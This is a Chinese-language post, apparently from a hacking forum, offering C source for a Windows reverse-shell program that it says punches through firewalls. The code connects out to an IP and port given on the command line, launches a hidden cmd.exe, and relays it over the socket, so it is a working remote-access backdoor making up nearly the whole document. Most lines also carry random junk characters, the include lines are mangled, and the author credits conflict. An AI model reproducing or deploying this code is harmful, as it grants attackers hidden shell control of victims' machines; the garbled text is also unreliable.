这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &/\Q 6$a
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/* ============================== ,NA _pvH)
Rebound port in Windows NT 1:.I0x!
By wind,2006/7 ~uUN\qx52
===============================*/ QTC-W2t]
#include XCP/e p
#include <3SO1@?
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#pragma comment(lib,"wsock32.lib") -wdd'G
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void OutputShell(); 5`3Wua
SOCKET sClient; >508-)'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SJ%h.u@&@F
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void main(int argc,char **argv) llK7~uOC
{ uXm_ pQpF
WSADATA stWsaData; %fF0<c^-U
int nRet; eX0due
SOCKADDR_IN stSaiClient,stSaiServer; A,u}p rwH
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if(argc != 3) G+SMH`h
{ # fe%E.
printf("Useage:\n\rRebound DestIP DestPort\n"); ^U8^P]{R|
return; Mhwuh`v%
} z, f
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^+MG"|)u~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &BZjQK
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stSaiClient.sin_family = AF_INET; \@eaSa
stSaiClient.sin_port = htons(0); /=i+7^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); />13?o#
2 {I(A2
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yh'P17N|q
{ ` 0z8J*T]
printf("Bind Socket Failed!\n"); d7U%Q8?wUR
return; eKv{N\E
} u$MXO].Q
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stSaiServer.sin_family = AF_INET; Tw]].|^f-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B]lM69Hz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {Y6;/".DM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "0sk(kT
{ Yp@i{$IUW
printf("Connect Error!"); `iQ9 9
return; [+2iwfD
} M/LC:,
OutputShell(); Zk*!,, P!
} 1(`UzC=R|
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void OutputShell() M\!z='Fi
{ ibqJ'@{=e
char szBuff[1024]; 1$toowb"Zy
SECURITY_ATTRIBUTES stSecurityAttributes; :H8`z8=0f{
OSVERSIONINFO stOsversionInfo; )r`F}_CEL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8w\ZY>d
STARTUPINFO stStartupInfo; *f*o
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char *szShell; \-nbV#{
PROCESS_INFORMATION stProcessInformation; y yqya[-11
unsigned long lBytesRead; Kd|@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @@pI>~#zh
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #k/NS
stSecurityAttributes.lpSecurityDescriptor = 0; [:"7B&&A
stSecurityAttributes.bInheritHandle = TRUE; S uo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1c19$KHu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); abw7{%2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (d?sFwOt\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |<Rf^"T
stStartupInfo.wShowWindow = SW_HIDE; ]dU/;8/%
stStartupInfo.hStdInput = hReadPipe; uk<JV*R=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _I<LB0kgf.
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GetVersionEx(&stOsversionInfo); a`E1rK'
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switch(stOsversionInfo.dwPlatformId) iRsK;)<
{ '^ob3N/Y [
case 1: xL#UMvZ>;h
szShell = "command.com"; +/|t8z FWs
break; V'm4DR#M
default:
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szShell = "cmd.exe"; FJH'!P\
break; !W48sZr1&
} _gn`Y(c$%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [7sy}UH
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send(sClient,szMsg,77,0); 1J?x2
while(1) 89+Q^79m
{ eUZvJTE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 01&J7A2
if(lBytesRead) )2dTgvy
{ #57D10j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;'7gg]
send(sClient,szBuff,lBytesRead,0); WJs2d73Qp
} 72akOx
else ])D39
{ 79G& 0 P\
lBytesRead=recv(sClient,szBuff,1024,0); Qk#`e
if(lBytesRead<=0) break; Y!*F-v@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Fo$'*(i
} aPH6R<G
} o3kVcX^
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return; Puodsd
}